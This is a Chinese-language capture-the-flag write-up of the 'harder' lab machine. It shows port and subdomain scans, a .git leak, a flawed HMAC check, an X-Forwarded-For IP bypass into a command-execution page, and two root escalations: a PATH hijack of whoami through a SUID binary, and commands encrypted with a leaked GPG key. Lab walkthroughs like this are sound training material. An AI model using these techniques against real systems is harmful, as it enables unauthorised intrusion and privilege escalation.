harder
端口扫描
root@ip-10-10-43-198:~/harder# nmap -sTCV -p 2,22,80 --min-rate 1000 10.10.247.234
Starting Nmap 7.60 ( https://nmap.org ) at 2023-09-30 11:25 BST
Nmap scan report for ip-10-10-247-234.eu-west-1.compute.internal (10.10.247.234)
Host is up (0.00015s latency).
PORT STATE SERVICE VERSION
2/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f8:8c:1e:07:1d:f3:de:8a:01:f1:50:51:e4:e6:00:fe (RSA)
| 256 e6:5d:ea:6c:83:86:20:de:f0:f0:3a:1e:5f:7d:47:b5 (ECDSA)
|_ 256 e9:ef:d3:78:db:9c:47:20:7e:62:82:9d:8f:6f:45:6a (EdDSA)
22/tcp open ssh OpenSSH 8.3 (protocol 2.0)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Error
MAC Address: 02:CE:A2:22:F1:77 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80
进行目 录扫描, 扫描完成后. 并没有什么从中得到什么内容,
我查看了 HTTP 的 Header 发现了一个域
所以我同时进行了目录遍历以及子域扫描的操作, 从下面的输出中我们可以看到
- pwd.harder.local : 存在 git 信息泄露
- shell.harder.local : 新发现的域, 看名字估计是这里为突破口, 但是需要登陆, 还是需要进行 git 获取一些密码
root@ip-10-10-43-198:~/harder/LFI-phpinfo-RCE# gobuster vhost -u http://harder.local/ -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://harder.local/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2023/09/30 11:58:32 Starting gobuster
===============================================================
Found: shell.harder.local (Status: 200) [Size: 19912]
Found: pwd.harder.local (Status: 200) [Size: 19926]
root@ip-10-10-43-198:~/harder# feroxbuster -u http://pwd.harder.local/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html
200 GET 23l 457w 19926c http://pwd.harder.local/index.php
200 GET 23l 457w 19926c http://pwd.harder.local/
root@ip-10-10-43-198:~/harder# feroxbuster -u http://pwd.harder.local/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x php,txt,html
200 GET 23l 457w 19926c http://pwd.harder.local/index.php
200 GET 23l 457w 19926c http://pwd.harder.local/
200 GET 1l 2w 23c http://pwd.harder.local/.git/HEAD
200 GET 0l 0w 0c http://pwd.harder.local/auth.php
200 GET 0l 0w 0c http://pwd.harder.local/secret.php
root@ip-10-10-43-198:~/harder# feroxbuster -u http://shell.harder.local/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x php,txt,html
200 GET 23l 457w 19912c http://shell.harder.local/index.php
200 GET 23l 457w 19912c http://shell.harder.local/
200 GET 0l 0w 0c http://shell.harder.local/auth.php
200 GET 1l 13w 73c http://shell.harder.local/ip.php
301 GET 7l 11w 169c http://shell.harder.local/vendor => http://shell.harder.local:8080/vendor/
所以我使用工具来将 git 内容拉取到本地进行查看
从上面的各个输出中我们可以从中查看到一个 credentials.php 但是这个文件并不存在所以我们需要进行一些操作来获取这个文件内容, 基于此我们进行一系列的分析
漏洞所在点位于其中的 hmac.php 文件中, 我们可以通过 Blog 进行操作
<?php
if (empty($_GET['h']) || empty($_GET['host'])) {
header('HTTP/1.0 400 Bad Request');
print("missing get parameter");
die();
}
require("secret.php"); //set $secret var
if (isset($_GET['n'])) {
$secret = hash_hmac('sha256', $_GET['n'], $secret);
}
$hm = hash_hmac('sha256', $_GET['host'], $secret);
if ($hm !== $_GET['h']){
header('HTTP/1.0 403 Forbidden');
print("extra security check failed");
die();
}
?>
之后我们就可以得到一个账号
使用这个账号来访问我们新发现的子域, 并使用其进行登陆, 但是页面显示只允许 10.10.10.x 的IP 访问, 此时我添加了 X-Forwarded-For 绕过了监测最终得到一个命令执行页面
Shell
evs
我通过查找属于 www 用户的文件发现一个特殊的备份文件, 此时查看这个文件从而获取到用户 evs 的密码
使用其进行登陆
evs —> root
查找 SUID 程序发现一个特殊的程序
harder:/$ find / -user root -perm -4000 -print 2>/dev/null
/usr/local/bin/execute-crypted
harder:/$ /usr/local/bin/execute-crypted
[*] Current User: root
[-] This program runs only commands which are encypted for [email protected] using gpg.
[-] Create a file like this: echo -n whoami > command
[-] Encrypt the file and run the command: execute-crypted command.gpg
接着我使用 strings 分析了这个文件, 结果发现其中存在一个 sh 脚本
此时进一步查看我发现这个文件就是我们上面执行的输出并且存在 Linux PATH 利用
harder:/tmp$ ls -al /usr/local/bin/run-crypted.sh
-rwxr-x--- 1 root evs 412 Jul 7 2020 /usr/local/bin/run-crypted.sh
harder:/tmp$ cat /usr/local/bin/run-crypted.sh
#!/bin/sh
if [ $# -eq 0 ]
then
echo -n "[*] Current User: ";
whoami;
echo "[-] This program runs only commands which are encypted for [email protected] using gpg."
echo "[-] Create a file like this: echo -n whoami > command"
echo "[-] Encrypt the file and run the command: execute-crypted command.gpg"
else
export GNUPGHOME=/root/.gnupg/
gpg --decrypt --no-verbose "$1" | ash
fi
此时我们就可以基于 whoami 进行 PATH 的利用
harder:/tmp$ cat << EOF > whoami
> /bin/sh
> EOF
harder:/tmp$ export PATH=$PWD:$PATH
harder:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
harder:/tmp$ /usr/local/bin/execute-crypted
[*] Current User: harder:/tmp# id
uid=0(root) gid=1000(evs) groups=1000(evs)
扩展
www
有些人可能很疑惑为什么使用 shell 子域的命令执行无法获取到 shell, 那么如何获取到?只需要像下面这样就可以了
evs —> root (第二种方式)
在上面的输出中我们提到其是通过读取 command.gpg 并经过解密来进行执行命令的, 所以我们只需要获取到 pgp 文件就可以进行操作了
harder:/tmp$ ls -al /var/backup
total 16
drwxr-x--- 1 root evs 4096 Jul 7 2020 .
drwxr-xr-x 1 root root 4096 Jul 7 2020 ..
-rwxr-x--- 1 root evs 641 Jul 7 2020 [email protected] # 这就是公钥, 我们可以使用此进行加密
harder:/tmp$ cat command
id
harder:/tmp$ gpg --import /var/backup/[email protected]
harder:/tmp$ gpg --encrypt --recipient [email protected] -o /tmp/command.gpg /tmp/command
harder:/tmp$ ls -al /tmp/command.gpg
-rw-r--r-- 1 evs evs 167 Sep 30 13:33 /tmp/command.gpg
harder:/tmp$ /usr/local/bin/execute-crypted ./command.gpg
gpg: encrypted with 256-bit ECDH key, ID 6C1C04522C049868, created 2020-07-07
"Administrator <[email protected]>"
uid=0(root) gid=1000(evs) groups=1000(evs)